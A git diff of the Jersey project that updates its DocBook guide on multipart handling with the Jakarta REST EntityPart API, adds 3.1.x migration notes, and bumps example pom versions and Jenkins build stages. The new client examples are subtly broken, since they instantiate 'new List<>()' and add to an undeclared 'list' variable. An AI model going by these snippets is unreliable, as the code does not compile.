<!ENTITY lit.jersey.servlet.ServletProperties.FILTER_CONTEXT_PATH "<literal>ServletProperties.FILTER_CONTEXT_PATH</literal>">
diff --git a/docs/src/main/docbook/media.xml b/docs/src/main/docbook/media.xml index c6f80bb..f27d2f0 100644 --- a/docs/src/main/docbook/media.xml +++ b/docs/src/main/docbook/media.xml
@@ -23,6 +23,10 @@ <!ENTITY link.jackson "<link linkend='json.jackson'>Jackson</link>" > <!ENTITY link.jettison "<link linkend='json.jettison'>Jettison</link>" > <!ENTITY link.json-b "<link linkend='json.json-b'>Java API for JSON Binding (JSON-B)</link>" > + <!ENTITY link.multipart.client.jersey "<link linkend='multipart.client.jersey'>Client using Jersey API</link>" > + <!ENTITY link.multipart.client.rest "<link linkend='multipart.client.rest'>Client using Jakarta REST API</link>" > + <!ENTITY link.multipart.server.jersey "<link linkend='multipart.server.jersey'>Server using Jersey API</link>" > + <!ENTITY link.multipart.server.rest "<link linkend='multipart.server.rest'>Server using Jakarta REST API</link>" > <!ENTITY % ents SYSTEM "jersey.ent" > %ents; ]> @@ -1566,25 +1570,11 @@ <title>Registration</title> <para> - Before you can use capabilities of the &lit.jersey-media-multipart; module in your client/server code, you - need to register &jersey.media.multipart.MultiPartFeature;. + Prior to Jersey 3.1.0, before you can use the capabilities of the &lit.jersey-media-multipart; + module in your client/server code, you need to register &jersey.media.multipart.MultiPartFeature;. - <example> - <title>Building client with MultiPart feature enabled.</title> - - <programlisting language="java">final Client client = ClientBuilder.newBuilder() - .register(MultiPartFeature.class) - .build();</programlisting> - </example> - - <example> - <title>Creating JAX-RS application with MultiPart feature enabled.</title> - - <programlisting language="java">// Create JAX-RS application. -final Application application = new ResourceConfig() - .packages("org.glassfish.jersey.examples.multipart") - .register(MultiPartFeature.class)</programlisting> - </example> + The multipart feature is supported by Jakarta RESTful Web Services 3.1 multipart API. From Jersey 3.1.0 on, + the &jersey.media.multipart.MultiPartFeature; is no longer required to be registered and it is registered automatically. </para> </section> @@ -1599,20 +1589,30 @@ <section> <title>Client</title> + <itemizedlist> + <listitem> + <para>&link.multipart.client.jersey;</para> + </listitem> + <listitem> + <para>&link.multipart.client.rest;</para> + </listitem> + </itemizedlist> + <section xml:id="multipart.client.jersey"> + <title>Client using Jersey API</title> - <para> - &jersey.media.multipart.MultiPart; class (or it's subclasses) can be used as an entry point to use - &lit.jersey-media-multipart; module on the client side. This class represents a - <link xlink:href='&wikipedia.uri;MIME#Multipart_messages'>MIME multipart message</link> and is able - to hold an arbitrary number of &jersey.media.multipart.BodyPart;s. Default media type is - <link xlink:href='&wikipedia.uri;MIME#Mixed'>multipart/mixed</link> - for &lit.jersey.media.multipart.MultiPart; entity and <literal>text/plain</literal> for - &lit.jersey.media.multipart.BodyPart;. + <para> + &jersey.media.multipart.MultiPart; class (or it's subclasses) can be used as an entry point to use + &lit.jersey-media-multipart; module on the client side. This class represents a + <link xlink:href='&wikipedia.uri;MIME#Multipart_messages'>MIME multipart message</link> and is able + to hold an arbitrary number of &jersey.media.multipart.BodyPart;s. Default media type is + <link xlink:href='&wikipedia.uri;MIME#Mixed'>multipart/mixed</link> + for &lit.jersey.media.multipart.MultiPart; entity and <literal>text/plain</literal> for + &lit.jersey.media.multipart.BodyPart;. - <example> - <title>&lit.jersey.media.multipart.MultiPart; entity</title> + <example> + <title>&lit.jersey.media.multipart.MultiPart; entity</title> - <programlisting language="java">final MultiPart multiPartEntity = new MultiPart() + <programlisting language="java">final MultiPart multiPartEntity = new MultiPart() .bodyPart(new BodyPart().entity("hello")) .bodyPart(new BodyPart(new JaxbBean("xml"), MediaType.APPLICATION_XML_TYPE)) .bodyPart(new BodyPart(new JaxbBean("json"), MediaType.APPLICATION_JSON_TYPE)); @@ -1621,15 +1621,15 @@ final Response response = target .request() .post(Entity.entity(multiPartEntity, multiPartEntity.getMediaType()));</programlisting> - </example> + </example> - If you send a <literal>multiPartEntity</literal> to the server the entity with <literal>Content-Type</literal> - header in HTTP message would look like (don't forget to register a JSON provider): + If you send a <literal>multiPartEntity</literal> to the server the entity with <literal>Content-Type</literal> + header in HTTP message would look like: - <example> - <title>&lit.jersey.media.multipart.MultiPart; entity in HTTP message.</title> + <example> + <title>&lit.jersey.media.multipart.MultiPart; entity in HTTP message.</title> - <screen language="text" linenumbering="unnumbered"><emphasis>Content-Type: multipart/mixed; boundary=Boundary_1_829077776_1369128119878</emphasis> + <screen language="text" linenumbering="unnumbered"><emphasis>Content-Type: multipart/mixed; boundary=Boundary_1_829077776_1369128119878</emphasis> --Boundary_1_829077776_1369128119878 Content-Type: text/plain @@ -1644,34 +1644,34 @@ {"value":"json"} --Boundary_1_829077776_1369128119878--</screen> - </example> - </para> - <para> - When working with forms (e.g. media type <literal>multipart/form-data</literal>) and various fields in them, - there is a more convenient class to be used - &jersey.media.multipart.FormDataMultiPart;. It automatically sets - the media type for the &lit.jersey.media.multipart.FormDataMultiPart; entity to - <literal>multipart/form-data</literal> and <literal>Content-Disposition</literal> header to - &lit.jersey.media.multipart.FormDataBodyPart; body parts. + </example> + </para> + <para> + When working with forms (e.g. media type <literal>multipart/form-data</literal>) and various fields in them, + there is a more convenient class to be used - &jersey.media.multipart.FormDataMultiPart;. It automatically sets + the media type for the &lit.jersey.media.multipart.FormDataMultiPart; entity to + <literal>multipart/form-data</literal> and <literal>Content-Disposition</literal> header to + &lit.jersey.media.multipart.FormDataBodyPart; body parts. - <example> - <title>&lit.jersey.media.multipart.FormDataMultiPart; entity</title> - <programlisting language="java">final FormDataMultiPart multipart = new FormDataMultiPart() + <example> + <title>&lit.jersey.media.multipart.FormDataMultiPart; entity</title> + <programlisting language="java">final FormDataMultiPart multipart = new FormDataMultiPart() .field("hello", "hello") .field("xml", new JaxbBean("xml")) .field("json", new JaxbBean("json"), MediaType.APPLICATION_JSON_TYPE); final WebTarget target = // Create WebTarget. final Response response = target.request().post(Entity.entity(multipart, multipart.getMediaType()));</programlisting> - </example> + </example> - To illustrate the difference when using &lit.jersey.media.multipart.FormDataMultiPart; instead of - &lit.jersey.media.multipart.FormDataBodyPart; you can take a look at the - &lit.jersey.media.multipart.FormDataMultiPart; entity from HTML message: + To illustrate the difference when using &lit.jersey.media.multipart.FormDataMultiPart; instead of + &lit.jersey.media.multipart.FormDataBodyPart; you can take a look at the + &lit.jersey.media.multipart.FormDataMultiPart; entity from HTML message: - <example> - <title>&lit.jersey.media.multipart.FormDataMultiPart; entity in HTTP message.</title> + <example> + <title>&lit.jersey.media.multipart.FormDataMultiPart; entity in HTTP message.</title> - <screen language="text" linenumbering="unnumbered"><emphasis>Content-Type: multipart/form-data; boundary=Boundary_1_511262261_1369143433608</emphasis> + <screen language="text" linenumbering="unnumbered"><emphasis>Content-Type: multipart/form-data; boundary=Boundary_1_511262261_1369143433608</emphasis> --Boundary_1_511262261_1369143433608 Content-Type: text/plain @@ -1689,17 +1689,17 @@ {"value":"json"} --Boundary_1_511262261_1369143433608--</screen> - </example> - </para> - <para> - A common use-case for many users is sending files from client to server. For this purpose you can use classes from - <literal>org.glassfish.jersey.jersey.media.multipart</literal> package, such as - &jersey.media.multipart.FileDataBodyPart; or &jersey.media.multipart.StreamDataBodyPart;. + </example> + </para> + <para> + A common use-case for many users is sending files from client to server. For this purpose you can use classes from + <literal>org.glassfish.jersey.jersey.media.multipart</literal> package, such as + &jersey.media.multipart.FileDataBodyPart; or &jersey.media.multipart.StreamDataBodyPart;. - <example> - <title>Multipart - sending files.</title> + <example> + <title>Multipart - sending files.</title> - <programlisting language="java">// MediaType of the body part will be derived from the file. + <programlisting language="java">// MediaType of the body part will be derived from the file. final FileDataBodyPart filePart = new FileDataBodyPart("my_pom", new File("pom.xml")); final FormDataMultiPart multipart = new FormDataMultiPart() @@ -1709,19 +1709,76 @@ final WebTarget target = // Create WebTarget. final Response response = target.request() .post(Entity.entity(multipart, multipart.getMediaType()));</programlisting> - </example> - </para> - <warning> - <para> - Do not use &lit.jersey.apache.ApacheConnectorProvider; nor &lit.jersey.grizzly.GrizzlyConnectorProvider; - neither &lit.jersey.jetty.JettyConnectorProvider; connector implementations with Jersey Multipart - features. See <xref linkend="connectors.warning"/> warning for more details. + </example> </para> - </warning> + <warning> + <para> + Do not use &lit.jersey.apache.ApacheConnectorProvider; nor &lit.jersey.grizzly.GrizzlyConnectorProvider; + neither &lit.jersey.jetty.JettyConnectorProvider; connector implementations with Jersey Multipart + features. See <xref linkend="connectors.warning"/> warning for more details. + </para> + </warning> + </section> + + <section xml:id="multipart.client.rest"> + <title>Client using Jakarta REST API</title> + + <para> + &jaxrs.core.EntityPart; interface can be used as an entry point to use + &lit.jersey-media-multipart; module on the client side. This class represents multipart message is able + to hold an arbitrary number of &jaxrs.core.EntityPart;s. Default media type is + <link xlink:href='&wikipedia.uri;MIME#Mixed'>multipart/form-data</link>. + + <example> + <title>Using <literal>EntityPart.Builder</literal> for building an Entity</title> + + <programlisting language="java"> +final List<EntityPart> multiPartEntity = new List<>(); +list.add(EntityPart.withName("part-01").content("hello").build()); +list.add(EntityPart.withName("part-01").content(new JaxbBean("xml")).mediaType(MediaType.APPLICATION_XML_TYPE).build()); //same name +list.add(EntityPart.withName("part-02").content(new JaxbBean("json")).mediaType(MediaType.APPLICATION_JSON_TYPE).build()); //other name +final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; +final Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE); + +final WebTarget target = // Create WebTarget. +final Response response = target.request().post(entity); + </programlisting> + </example> + </para> + <para> + The common use-case for many users is sending files from client to server. It is also covered by + &jaxrs.core.EntityPart;.Builder. + <example> + <title>EntityPart - sending files.</title> + + <programlisting language="java">// MediaType of the body part will be derived from the file. +final List<EntityPart> multiPartEntity = new List<>(); +list.add(EntityPart.withFileName("file001.txt").content(Files.newInputStream(Path.of("file001.txt"))).build()); +list.add(EntityPart.withFileName("mypom.xml").content(Files.newInputStream(Path.of("pom.xml"))).build()); + +final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; +final Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE); + +final WebTarget target = // Create WebTarget. +final Response response = target.request().post(entity); + </programlisting> + </example> + </para> + </section> </section> <section> <title>Server</title> + <itemizedlist> + <listitem> + <para>&link.multipart.server.jersey;</para> + </listitem> + <listitem> + <para>&link.multipart.server.rest;</para> + </listitem> + </itemizedlist> + <section xml:id="multipart.server.jersey"> + <title>Jersey Server API</title> <para> Returning a multipart response from server to client is not much different from the parts described in the client @@ -1897,5 +1954,60 @@ <programlisting language="java">ResourceConfig resourceConfig = new ResourceConfig(); resourceConfig.register(new MultiPartProperties().bufferThreshold(65535).maxParts(2).resolver());</programlisting> </section> + <section xml:id="multipart.server.rest"> + <title>Server using Jakarta REST API</title> + <para> + Using &jaxrs.core.EntityPart; on the server side is similar to the client side. + Jakarta REST specification allows for + returning a &lit.jaxrs.core.Response; or a &lit.jdk6.List; of &lit.jaxrs.core.EntityPart;s. + </para> + <para> + Receiving the &jaxrs.core.EntityPart;s can be done either using &lit.jaxrs.FormParam; annotations and + &lit.jaxrs.core.EntityPart;, &lit.jdk6.InputStream; or &lit.jdk6.String; data-types, or using a + &lit.jdk6.List; of &lit.jaxrs.core.EntityPart;s. + </para> + + <example> + <title>Use of &lit.jaxrs.FormParam; annotation with &lit.jaxrs.core.EntityPart; &lit.jdk6.InputStream; + and &lit.jdk6.String; types and returning a &lit.jaxrs.core.Response;</title> + <programlisting language="java">@POST +@Path("/postFormVarious") +public Response postFormVarious(@FormParam("name1") EntityPart part1, + @FormParam("name2") InputStream part2, + @FormParam("name3") String part3) throws IOException { + final List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName(part1.getName()) + .content(part1.getContent(String.class) + new String(part2.readAllBytes()) + part3) + .mediaType(MediaType.TEXT_PLAIN_TYPE) + .build()); + final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {}; + return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build(); +} + </programlisting> + </example> + <example> + <title>Receiving a &lit.jdk6.List; of &lit.jaxrs.core.EntityPart;s</title> + <programlisting language="java">@POST +@Path("/postListForm") +public String postEntityPartForm(@FormParam("part-0x") List<EntityPart> part) throws IOException { + final String entity = part.get(0).getContent(String.class) + part.get(1).getContent(String.class); + return entity; +} + </programlisting> + </example> + <example> + <title>Returning a &lit.jdk6.List; of &lit.jaxrs.core.EntityPart;s</title> + <programlisting language="java">@GET +@Produces(MediaType.MULTIPART_FORM_DATA) +@Path("/getList") +public List<EntityPart> getList() throws IOException { + final List<EntityPart> list = new LinkedList<>(); + list.add(EntityPart.withName("name1").content("data1").build()); + return list; +} + </programlisting> + </example> + </section> + </section> </section> </chapter>
diff --git a/docs/src/main/docbook/migration.xml b/docs/src/main/docbook/migration.xml index d9adba0..03f7b61 100644 --- a/docs/src/main/docbook/migration.xml +++ b/docs/src/main/docbook/migration.xml
@@ -28,18 +28,6 @@ xml:id="migration"> <title>Migration Guide</title> - <section xml:id="mig-3.0.11"> - <title>Migrating from Jersey 3.0.11 to 3.0.12</title> - <section xml:id="mig-3.0.11-jackson-changes"> - <title>Changes in Jackson</title> - <para> - Jersey 3.0.12 starts to support Jackson 2.15 which comes with default limitations for the length of parsed text, - numbers, and nesting depth. Jersey keeps the Jackson default value, but it allows to override the maximum - length of parsed text using the &jersey.message.MessageProperties.JSON_MAX_STRING_LENGTH; property if needed. - </para> - </section> - </section> - <section xml:id="mig-3.0.0"> <title>Migrating from Jersey 2.32+ to 3.0.x.</title> <section xml:id="mig-3.0.0-breaking-changes"> @@ -48,25 +36,28 @@ <itemizedlist> <listitem> <para> - The most fundamental change in Jersey &version; and later is namespace change. + The most fundamental change in Jersey 3.0.0 and later is namespace change. Since Jakarta EE 9 the <literal>jakarta.</literal> namespace is introduced as a replacement for javax namespace from Java EE. </para> + </listitem> + <listitem> <para> - Due to required jakartification several modules where omitted (because of not satisfied dependencies). - Or require higher JDK (11+). + Some Jersey modules require higher versions of Java SE. See <xref linkend="se_compatibility"/>. </para> - <para> - Spring for now is not supported. - </para> - <para> - Helidon connector for now is not supported. - </para> + </listitem> + <listitem> <para> Examples and tests are reduced in quantity (so you probably will not find all those examples which were available in the 2.32 version). </para> </listitem> + <listitem> + <para> + &jersey.server.ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE; is by default + <literal>true</literal>. + </para> + </listitem> </itemizedlist> </para> </section> @@ -107,16 +98,57 @@ Jakarta EE 10. Jakarta EE 10 defines the minimum JDK 11 requirement and hence Jersey no longer supports JDK 8. </para> + <para> + Some Jersey modules require higher versions of Java SE. See <xref linkend="se_compatibility"/>. + </para> </listitem> <listitem> <para> - &jersey.server.ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE; is by default - <literal>true</literal>. + Since Jersey 3.1.0+ the <literal>getRequestHeader(String name)</literal> method of the + <literal>ClientRequest</literal> class returns NULL (instead of an empty List) in case if + the specified header does not exist. </para> </listitem> </itemizedlist> </para> </section> + <section xml:id="mig-3.1.0-application-path"> + <title>@ApplicationPath Annotation Support</title> + <para> + Jersey 3.1 supports <literal>@ApplicationPath</literal> annotation by every container, not only the + <literal>Servlet</literal> container. This can affect tests, as well as deployments to containers + where the annotation used to be ignored by previous versions of Jersey. + </para> + </section> + <section xml:id="mig-3.1.4-jetty-modules"> + <title>Jetty Modules</title> + <itemizedlist> + <listitem> + <para> + Jersey 3.0.x, and 3.1.0 - 3.1.3 Jetty modules (jersey-jetty-connector, jersey-container-jetty-http, + jersey-container-jetty-servlet, jersey-test-framework-provider-jetty) are based on Jetty 11, + which is Jakarta EE 9 related. + </para> + </listitem> + <listitem> + <para> + Jersey 3.1.4 modules use Jetty 12 which is Jakarta EE 10 related (as well as Jersey 3.1.x). + Jetty 12 dependencies use modules names different from Jetty 11. + </para> + </listitem> + </itemizedlist> + </section> + <section xml:id="mig-3.1.4"> + <title>Migrating from Jersey 3.1.3 to 3.1.4</title> + <section xml:id="mig-3.1.4-jackson-changes"> + <title>Changes in Jackson</title> + <para> + Jersey 3.1.4 starts to support Jackson 2.15 which comes with default limitations for the length of parsed text, + numbers, and nesting depth. Jersey keeps the Jackson default value, but it allows to override the maximum + length of parsed text using the &jersey.message.MessageProperties.JSON_MAX_STRING_LENGTH; property if needed. + </para> + </section> + </section> </section> </chapter>
diff --git a/docs/src/main/docbook/modules.xml b/docs/src/main/docbook/modules.xml index 3236c43..8ce80ef 100644 --- a/docs/src/main/docbook/modules.xml +++ b/docs/src/main/docbook/modules.xml
@@ -112,16 +112,9 @@ jersey-container-jetty-http </link> </entry> -<entry>Jetty Http Container (for JDK 11+)</entry> +<entry>Jetty Http Container (for JDK 17+)</entry> </row> -<row> -<entry> -<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-container-jetty-http2/dependencies.html"> - jersey-container-jetty-http2 -</link> -</entry> -<entry>Jetty HTTP/2 Container</entry> -</row> + <!-- TODO - HTTP/2 support for Jetty 12 container --> <row> <entry> <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-container-jetty-servlet/dependencies.html"> @@ -230,17 +223,18 @@ jersey-jetty-connector </link> </entry> -<entry>Jersey Client Transport via Jetty (for JDK 11+)</entry> +<entry>Jersey Client Transport via Jetty (for JDK 17+)</entry> </row> <row> - <row> - <entry> - <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-jetty-http2-connector/dependencies.html"> - jersey-jetty-http2-connector - </link> - </entry> - <entry>Jersey Client Transport via Jetty (for JDK 11+) with HTTP/2 support</entry> - </row> +<entry> +<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-jetty11-connector/dependencies.html"> + jersey-jetty11-connector +</link> +</entry> +<entry>Jersey Client Transport via Jetty 11.x</entry> +</row> + <!-- TODO - HTTP/2 support for Jetty 12 container --> +<row> <entry> <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-netty-connector/dependencies.html"> jersey-netty-connector
diff --git a/docs/src/main/docbook/representations.xml b/docs/src/main/docbook/representations.xml index 50515d6..12ef126 100644 --- a/docs/src/main/docbook/representations.xml +++ b/docs/src/main/docbook/representations.xml
@@ -298,6 +298,19 @@ and let other provider to be chosen for the exception mapping. </para> + <para> + Since Jersey 3.1.0 the default <literal>ExceptionMapper</literal> is implemented. + It is required by JAX-RS 3.1 specification (&jaxrs31.exceptionMapperProvider;). + The default behaviour of the mapper is to return a message from an exception caught and set the response status + to 500 (internal server error). In case of a &jaxrs.WebApplicationException; with a response that response is returned. + If response inside the &lit.jaxrs.WebApplicationException; is NULL the exception is being processed according to the + default behaviour. + + The Default exception mapper is package private and can not be referenced. Its presence is required only by + JAX-RS 3.1 specification. Processing of the default Exception Mapper occurs at the very end of the exception + processing chain. It is invoked only if nothing else in the chain was invoked before. + </para> + </section> <section>
diff --git a/etc/config/copyright-exclude b/etc/config/copyright-exclude index cc34e1e..9c4e32d 100644 --- a/etc/config/copyright-exclude +++ b/etc/config/copyright-exclude
@@ -73,8 +73,6 @@ /tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/explorer /core-server/src/main/java/com/sun/research/ws/wadl /core-common/src/main/java/org/glassfish/jersey/internal/jsr166 -/core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166 -/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166 /tests/performance/etc/data/MEASUREMENT_DATA /core-common/src/main/java/org/glassfish/jersey/internal/guava/ /core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/core/AbstractSlidingWindowTimeReservoir.java @@ -95,3 +93,4 @@ /media/json-binding/src/test/java/org/glassfish/jersey/jsonb/internal/JsonBindingProviderTest.java /connectors/jdk-connector/src/test/resources /tools +/media/multipart/src/test/resources/multipart
diff --git a/etc/jenkins/Jenkinsfile_ci_build b/etc/jenkins/Jenkinsfile_ci_build index 9cc5b4f..276cc17 100644 --- a/etc/jenkins/Jenkinsfile_ci_build +++ b/etc/jenkins/Jenkinsfile_ci_build
@@ -10,22 +10,6 @@ stages { stage('Jersey build') { parallel { - stage('JDK 8') { - agent { - label 'centos-7' - } - tools { - jdk 'oracle-jdk8-latest' - maven 'apache-maven-latest' - } - steps { - sh ''' - bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh - export EXCLUDE_ARGS=' -pl !:jersey-spring6' - bash ${WORKSPACE}/etc/scripts/validation/dependency-convergence.sh - ''' - } - } stage('JDK 11') { agent { label 'centos-7' @@ -52,6 +36,7 @@ steps { sh ''' bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh + export EXCLUDE_ARGS=' -pl !:jersey-container-jetty11-http,!:jersey-jetty11-connector ' bash ${WORKSPACE}/etc/scripts/validation/dependency-convergence.sh ''' }
diff --git a/examples/NOTICE.md b/examples/NOTICE.md index 70c3d2b..d1be3d9 100644 --- a/examples/NOTICE.md +++ b/examples/NOTICE.md
@@ -43,7 +43,7 @@ * Copyright: 2009, 2020 Red Hat, Inc. and/or its affiliates, and individual contributors * by the @authors tag. -Hibernate Validator CDI, 7.0.5.Final +Hibernate Validator CDI, 8.0.1.Final * License: Apache License, 2.0 * Project: https://beanvalidation.org/ * Repackaged in org.glassfish.jersey.server.validation.internal.hibernate
diff --git a/examples/assemblies/pom.xml b/examples/assemblies/pom.xml index 1c54fae..e60c499 100644 --- a/examples/assemblies/pom.xml +++ b/examples/assemblies/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>assemblies</artifactId>
diff --git a/examples/bookmark-em/pom.xml b/examples/bookmark-em/pom.xml index 3663370..778a4ed 100644 --- a/examples/bookmark-em/pom.xml +++ b/examples/bookmark-em/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>bookmark-em</artifactId>
diff --git a/examples/bookmark/pom.xml b/examples/bookmark/pom.xml index 21d30d8..eeaddcf 100644 --- a/examples/bookmark/pom.xml +++ b/examples/bookmark/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>bookmark</artifactId>
diff --git a/examples/bookstore-webapp/pom.xml b/examples/bookstore-webapp/pom.xml index d8c4725..48f9fb9 100644 --- a/examples/bookstore-webapp/pom.xml +++ b/examples/bookstore-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: @@ -35,7 +35,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>bookstore-webapp</artifactId> @@ -56,7 +56,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> <dependency> @@ -69,14 +68,19 @@ <groupId>jakarta.xml.bind</groupId> <artifactId>jakarta.xml.bind-api</artifactId> </dependency> + <dependency> + <groupId>com.sun.xml.bind</groupId> + <artifactId>jaxb-osgi</artifactId> + <scope>runtime</scope> + </dependency> </dependencies> <build> <plugins> <!-- Run the application using "mvn jetty:run" --> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> <webApp> <contextPath>/bookstore-webapp</contextPath> @@ -88,19 +92,6 @@ <profiles> <profile> - <id>jdk11+</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <dependencies> - <dependency> - <groupId>com.sun.xml.bind</groupId> - <artifactId>jaxb-osgi</artifactId> - <scope>runtime</scope> - </dependency> - </dependencies> - </profile> - <profile> <!-- mvn test -Prun-external-tests --> <id>run-external-tests</id> <build>
diff --git a/examples/cdi-webapp/pom.xml b/examples/cdi-webapp/pom.xml index 4531b60..e76050a 100644 --- a/examples/cdi-webapp/pom.xml +++ b/examples/cdi-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-webapp</artifactId> @@ -180,6 +180,7 @@ <dependency> <groupId>org.jboss.weld.servlet</groupId> <artifactId>weld-servlet-core</artifactId> + <version>${weld.version}</version> </dependency> </dependencies> </profile> @@ -199,7 +200,8 @@ <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-plugin</artifactId> <configuration> - <forkMode>always</forkMode> + <forkCount>1</forkCount> + <reuseForks>false</reuseForks> <enableAssertions>false</enableAssertions> </configuration> </plugin>
diff --git a/examples/cdi-webapp/src/main/resources/META-INF/beans.xml b/examples/cdi-webapp/src/main/resources/META-INF/beans.xml index 5d361e9..77e336a 100644 --- a/examples/cdi-webapp/src/main/resources/META-INF/beans.xml +++ b/examples/cdi-webapp/src/main/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -11,4 +11,9 @@ --> -<beans/> +<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns="http://xmlns.jcp.org/xml/ns/javaee" + xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee + http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd" + bean-discovery-mode="all"> +</beans>
diff --git a/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml b/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml index 5d361e9..77e336a 100644 --- a/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml +++ b/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -11,4 +11,9 @@ --> -<beans/> +<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns="http://xmlns.jcp.org/xml/ns/javaee" + xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee + http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd" + bean-discovery-mode="all"> +</beans>
diff --git a/examples/clipboard-programmatic/pom.xml b/examples/clipboard-programmatic/pom.xml index 36b2854..091d18b 100644 --- a/examples/clipboard-programmatic/pom.xml +++ b/examples/clipboard-programmatic/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>clipboard-programmatic</artifactId>
